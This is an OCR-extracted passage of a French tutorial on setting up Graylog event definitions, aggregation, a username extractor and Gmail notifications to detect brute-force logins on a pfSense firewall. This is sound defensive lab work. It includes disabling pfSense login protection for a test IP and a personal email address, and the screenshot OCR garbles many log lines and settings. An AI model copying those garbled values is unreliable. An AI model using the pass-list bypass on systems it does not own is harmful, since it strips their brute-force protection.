limite par défaut.

2. Pour lavirtualisation
choisissez World Map et
sauvegarderles modifications.

Voici le résultat : O

Streams  Alerts

Message Count (copy) |

22:07:00 22:07:20 22:08:00 220830 22:09:00 220930 22:10:00 221030 2

Dashboards ~ Enterprise  Security  System v ::r Z e a

XEv

00

Aggregating by src_ip_geolocation | - T

(/o)

Leaflet | © OpenStreethiap contributors
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Alertes
Graylog donne la possibilité de réagir a certaines conditions et d'envoyer des alertes a I'aide de notifications. Ces
notifications peuvent étre par e-mail.

Dans I'onglet Alerts de Graylog, vous avez trois boutons :

¢ Notifications : vous permet de configurer I'envoie des notifications par email.

e Event definitions: Cette partie vous permet de définir un événement en cherchant pour les différentes
conditions et si la condition est vraie, créer un événement. Cet évenement peut étre connecté a une
notification et créé une alerte.

e Alerts & Events : ici vous pouvez voir la liste de tous les alertes et les évenements qui sont déclenchés par
Graylog.

Attaque de Brute Force
Pourexpliquerla fonctionnalité du systeme d’alerte de graylog, je vous montre 'exemple d’un eattaque Brute Force.

Une attaque parforce brute est une méthode de piratage qui utilise des essais et des erreurs pour déchiffrerles mots
de passe, les identifiants de connexion et les clés de chiffrement. C'est une tactique simple pourobtenir un accés non
autorisé a des comptesindividuels. Le pirate essaie plusieurs noms d'utilisateur et mots de passe, souvent en utilisant
un ordinateur pour tester un large éventail de combinaisons, jusqu'a ce qu'il trouve les informations de connexion
correctes.

Il existe des méthodes de protection contre les attaques par force brute. Par exemple lorsqu'une seule adresse IP
attaque un seulcompte d'utilisateur. Lorsque laméme adresse IP essaie et échoue plusieurs fois (par exemple, 10fois)
pour se connecterentant que méme utilisateur, la protection par force brute peut bloquercette adresse IP pour un
certain temps ou envoyer une alerte a l'utilisateur, etc.

Un exemple que vous pouvez tester est la fonction de protection de connexion (login protection) sur votre routeur
pfsense :

Apres 3 fois échec de connexion il nous bloque pour 120 secondes :

2022-10-06 00:55:20.205

<38>1 2022-18-086700:55:20.234126+02:080 pfSense.home.arpa sshguard 58887 - - Blocking "172.18.28.1/32" for 120 secs (3 attacks in 13 secs, after 1 abuses over 13 secs.)
Pour la deuxiéme fois, 3 échecs de connexion et il nous bloque pour 240 secondes :

2022-10-06 00:59:00.370

<38>1 2822-10-86T00:59:00.4082892+82:00 pfSense.home.arpa sshguard 58887 - - Blocking "172.18.28.1/32" for 248 secs (3 attacks in 8 secs, after 2 abuses over 233 secs.)

Pour pouvoir tester le systéme d’alerte du Graylog sur un attaque Brute Force, je vais désactiver la protection de
connexionsurle pfsense. Accéder au menu system/advanced/admin access/login protection . Et ajoutez notre adresse
IP dans le pass list. Notre adresse P est 172.18.20.1 :

Remember potential attackers for up to detection_time seconds betore resetting their score.
Pass list 172.18.20.1 R -

Addresses added to the pass list will bypass login protection.

Add address + Add address

A partir de maintenant, peu importe combien de fois je mets le mauvais mot de passe, il enverra simplement un
message d'échec de connexion sans nous bloquer.

2022-10-06 01:08:10.923

<32=1 2022-18-06T81:88:10.9516838+62:80 pfSense.home.arpa php-fpm 366 - - :"inCEb(‘:)hD:I'H.‘».‘t-'::-ﬂfing’atC-l' authentication error for user ‘admin’ from: 'I.'-’Z.‘IS‘Z-B.’I
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Définir un évenement
Lorsque vous cliquez sur Get Started!, vous sera présenté avec un ensemble de dialogues qui vous permettent de
définir le titre, la description et la priorité.

Event Details Filter & Aggregation Notifications Summary

Event Details
Title

bruteforce attaque sur pare feu

Title for this Event Definition, Events and Alerts created from it.

Event Details

Choisissez un nom, une description et une priorité pour cet événement et cliquez sur suivant. La priorité d'un
événement sera affichée sous forme d'icone de thermomeétre dans I'apercu et sera écrite dans la notification. Pour
I'attaque Brute Force je choisis la priorité 3.

Filter & Aggregation

Dans cette partie, on dit au Graylog commentcréerdes événements. Dans le type de la conditionil n’y aqu’une option
pour la version gratuite de Graylog. Cela est la condition Filter & Aggregation. Cette condition est composée de deux
éléments :

Filter: le filtre vous permet de chercherdans les logs et trouver des logs qui corresponds a votre requéte de recherche.
Si ce filtre rend un résultat, donc un événement est créé. Vous pouvez connecter cet événement a une notifications
et envoyer des alertes par email. Ou vous pouvez aller plus loin avec la fonction de I'agrégation.

Ily a quelques paramétres a définir pour le filtrage. Dans notre exemple Brute force :

e Searchquery:créezunerequéte quis’accorde avecle logd’échecde connexion créé par pfsense. Par exemple
mettez « authentication error for user ». Alors tous les logs contiennent cette phrase seront filtrés :

2022-10-06 01:08:10.923

<32-1 2022-16-86T01:88:16.951038+02:88 pfSense.home.arpa php-fpm 366 - - /index.php: webConfigurator lauthe".ics:'_:-n error for u3er| ‘admin' from: 172.18.28.1

e Streams: vous pouvez définir un stream pour éviter que graylog lance la requéte de recherche surtous les
logs. Mettez le flux Snort et donc seulement ce flux serai effectué parla recherche :

e Combien de fois graylog doit effectuer et dans quel période du temps ? nous mettons I'exécution d’un
recherche chaque minute et dans une période d’une minute des logs du flux Snort :

Search within the last

Search Query Streams
1
authentication error for user Snort Stream | X
tch. Execute search every
d match. You car

Search qu

Select streams the search should inclu

using the $newParameter$ synt

e laissez la prochaine option par défaut. Avec les configurations jusqu’ici, nous pouvons recevoir des
évenements pour chaque échec de connexion. Lancez un test et voyez le résultat du filtre dans la fenétre a
droite :

timestamp 15

2022-10-06 01:41:58.500

<32»1 2822-18-86T81:41:58.521816+82:88 pfSense.home.arpa php-fpm 366 - - /index.php: webConfigurator authentication error for user 'admin’ from: 172.18.28.1

Si vous sauvegardez cet éventement et relancez un teste vous pouvez voir qu’on élément est ajouté dans I'onglet
Alerts et Events (mettez la période sur 1 heure).

78



Filter Preview

Timestamp Message

2022-10-05T23:41:58.500Z <321 2022-10-06T01:41:58.521816+02:00
pfSsense.home.arpa php-fpm 366 - - /index.php:
webConfigurator authentication error for user 'admin’
from: 172.18.20.1

aQ g l 1 hours ~
Alerts  Events  Both Show | 25 v
Description Key Type / Event Definition / Timestamp
8 bruteforce attaque sur pare feu admin [ Event | bruteforce attaque sur pare feu 2022-10-06 01:46:39

Agrégation : vous pouvez définir une condition et si les nombres des logs retournés dans le filtre arrivent a un seuil
spécifique, créer un évenement (au lieu d’'un évenement par log trouvé).

Par exemple, lancez plusieurs échecs de connexion dans une minute et vérifiez les évenements qui sont créés:

Description Key Type Event Definition Timestamp

8 bruteforce attaque sur pare feu none = bruteforce attague sur pare feu 2022-10-06 01:54:19
b bruteforce attaque sur pare feu none [ Event | bruteforce attaque sur pare feu 2022-10-06 01:54:17
B bruteforce attaque sur pare feu none = bruteforce attaque sur pare feu 2022-10-06 01:54:15
0 bruteforce attaque sur pare feu none [ Event | bruteforce attague sur pare feu 2022-10-06 01:54:13
8 bruteforce attaque sur pare feu none = bruteforce attaque sur pare feu 2022-10-06 01:54:10
8 bruteforce attaque sur pare feu none = bruteforce attague sur pare feu 2022-10-06 01:54:08
0§ bruteforce attaque sur pare feu none [ Event | bruteforce attaque sur pare feu 2022-10-06 01:54:06
8 bruteforce attaque sur pare feu none = bruteforce attaque sur pare feu 2022-10-06 01:54:05

Avec I'agrégation on peut éviter la création d’un évenement par log. Revenez dans le menu filtre & agrégation.
Choisissez aggregation of results reaches a threshold et dans Create events for definition définissez cette condition :

If Is Threshold

count() >= El

Condition summary

B Condition is valid

Preview: count() >= 5

Si le nombre des logs trouvés par le filtre est équivalent ou plus de 5 logs, il crée un événement. Sauvegardez les
modifications et faites un autre teste mais cette fois 5 échecs de connexion :

aQ 2 | 5 minutes ~ |

Alerts  Events ~ Both Show | 25 ~

/ Key Type Event Definition Timestamp

none [ Event | bruteforce attaque sur pare feu 2022-10-06 02:03:20

Description

b bruteforce attague sur pare feuj cou

Cette fois un évenement est créé mais pour 10 échecs de connexion.

Group by Field(s) : dans notre exemple seulement le compte admin était sous attaque brute force. Et dans notre
définition, on n’a pas défini quel utilisateur été la cible d’attaque. Mais cela est possible. On peut regrouper les logs
trouvés par le filtre selon le champ utilisateur et créer un événement par utilisateur qui était la cible d’attaque brute
force.

La premiere étape est de définir le champ utilisateur. J'utilise des extracteurs pour extraire le nom d’utilisateur.

1. Revenezdans le flux Snort et cliquez sur le champ message, ensuite choisissez Create extractor.
2. Pourle type d’extracteur, choisissez Regular Expression.
3. Dans la nouvelle page quis’ouvre, créer un regex quiva extraire le nom 'utilisateur du log.

79



Example message

<32>1 2022-16-86T02:84:39.993049+82 :00 pfSense.home.arpa php-fpm 366 - - /index.php: webConfigurator authentication|error for user 'admin’ |from: 172.18.28.1

Wrong example?  Load another message

Extractor configuration

Extractor type Regular expression

Source field message

Regular expression error for user '(.+)'

Tl expression usgd for extraction. First matcher group is used. Learn more in the documentation

Extractor preview
admin

4. Définissez un nom pour le nouveau champ :

Store as field

username

o

nly contain alphanumeric characters and underscores. Example

5. Revenezdansle filtre & agrégation et ajoutezle champ username dans le group by fields et sauvegardez les
modifications.

Group by Field(s)

d username as Group by

1 username WIT

Notifications

Les notifications vous alertent de tout événement configuré lorsqu'il se produit. Graylog peut vous envoyer des
notifications par email. Les notifications peuvent étre créées en sélectionnant le bouton Notifications sous l'onglet
Alertes ou en les définissant dans la page de la création d’événement.

Email transport
On commence parla configuration d’email dans le fichier server.conf. Ajoutez ces lignes dans le fichier server.conf :

. P ’ # Email transport
e lcion Indlque au gaylog d envoyer les transport_email enabled = true

emails au se rveursmtp du google [YS|gil transport_email protocol = smtp )
transport_email_hostname = smtp.gmail.com

le port 25 transport email port = 25
. ) . transport_ematil_use auth = t
e On lui donne 'email et le mot de transport_email_use_tls = tru
’ X HEB transport email L
passe d’un compte a utiliser. transport_ematl_auth_ ershad. ra@matl.com
e From email indique l'adresse email |Ru it = pescum
transport_email_subject prefix = [graylog]
qui va apparaitre dans l'alerte transport email from emaill = ershad.ra@gmail.com
transport_email web_interface url = https://172.18.20.125:443

Note : Certains FAI bloque le port smtp en
sortant sur leur box internet. Par exemple chez Orangele port 25 estbloqué en sortant. Mais chez Bouygues ce port
est ouvert. Pour vérifier 'ouverture du port faites un telnet sur le serveur smtp et vérifier la connexion : telnet

smtp.gmall.com 25 :~$ telnet smtp.gmail.com 25

New /\/Otl'fl'Clel'Oﬂ Connec to smtp.gmali.com.
Escape character is '"]'.
1. Dansle menu
Alerts/Notifications, créez une nouvelle notification en lui donnant un titre et une description. Choisiss ez
Email comme le type de la notification.
2. Vouspouvezchoisir I'adresse e-mail qui doit étre utilisée comme expéditeur de la notification. Laissez-le vide
pour utiliser I'adresse d'expéditeur par défaut.
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3. Ajoutezlesadressese-mail quirecevront cette notification. J’ai mis ershad.ra@gmail.com pour le test. Alors
I'expéditeur et destinateur sont le méme.
4. Lancer un test pour vérifier s’il fonctionne correctement :

Test Notification

ershad.ra@gmail.com | X
Success: Notification was executed successfully.

The email address that should be used as tl Add email addresses that will receive this Notifica

Execute this Notification with a test Alert.

5. Revenezsurl'événement et allez a 'onglet notification. Choisissez la notification nouvellement créée.

Event Details Filter & Aggregation Fields Notifications

Add Notification
Choose Nn(iﬂcatian/
alert sur gmail

Select a Notification to use on Alerts of this kind or create a new Notification that you can later use in other Alerts.
Done Cancel
Previous

A partir de maintenant, pour chaque évenement créé, une alerte sera envoyée au ershad.ra@gmail.com. Faites une
teste :

Description Key Type Event Definition Timestamp

U bruteforce attague sur pare feu: admin - count()=8.0 none Alert bruteforce attaque sur pare feu 2022-10-06 13:32:20

Graylog event notification: bruteforce attague sur pare feu D mbexx & &
Grace Period
Chaque fois qu’un évenement s’est produit, une
notification sera envoyée. Si nous sommes la cible

ﬁ ershad.ra@gmail.com 133PM (D minutesago)  Y¥ €

tome v

Event Definition

Title bruteforce attaque sur pare feu
d'une attaque par force brute, nous ne voulons pas BT
recevoirun e-mailtoutes les minutes nous rappelant Type sggregation
gue nous sommes attaqués. En configurant le Grace i
Period sur 5 minutes, graylog attendra 5 minutes — 202210 06T1332:20 4750700
avant de nous envoyerde nouveau des alertes brute Message brutsforce attaque sur pare feu: admin - count()=8.0
force Source graylog.vironax.local
' Key
Le Grace Period sera respecté par clé d'événement il ’
Alert true

gue nous avons sélectionnée dans nos champs
personnalisés (username dans le group by fields). Nous recevrons donc un e-mail pour chague nouveau nom
d'utilisateur utilisé par les attaquants.

Notifications Manage Notifications
Is this Event important enough that requires your attention? Make it an Alert by adding Notifications to it. Notification Settings
Notification Type Actions Grace Period
. i 5 minutes ~
alert sur gmail Email Notification

Add Notification

Message Backlog
O

Number of messages to be included in Notifications.

Previous

FIN
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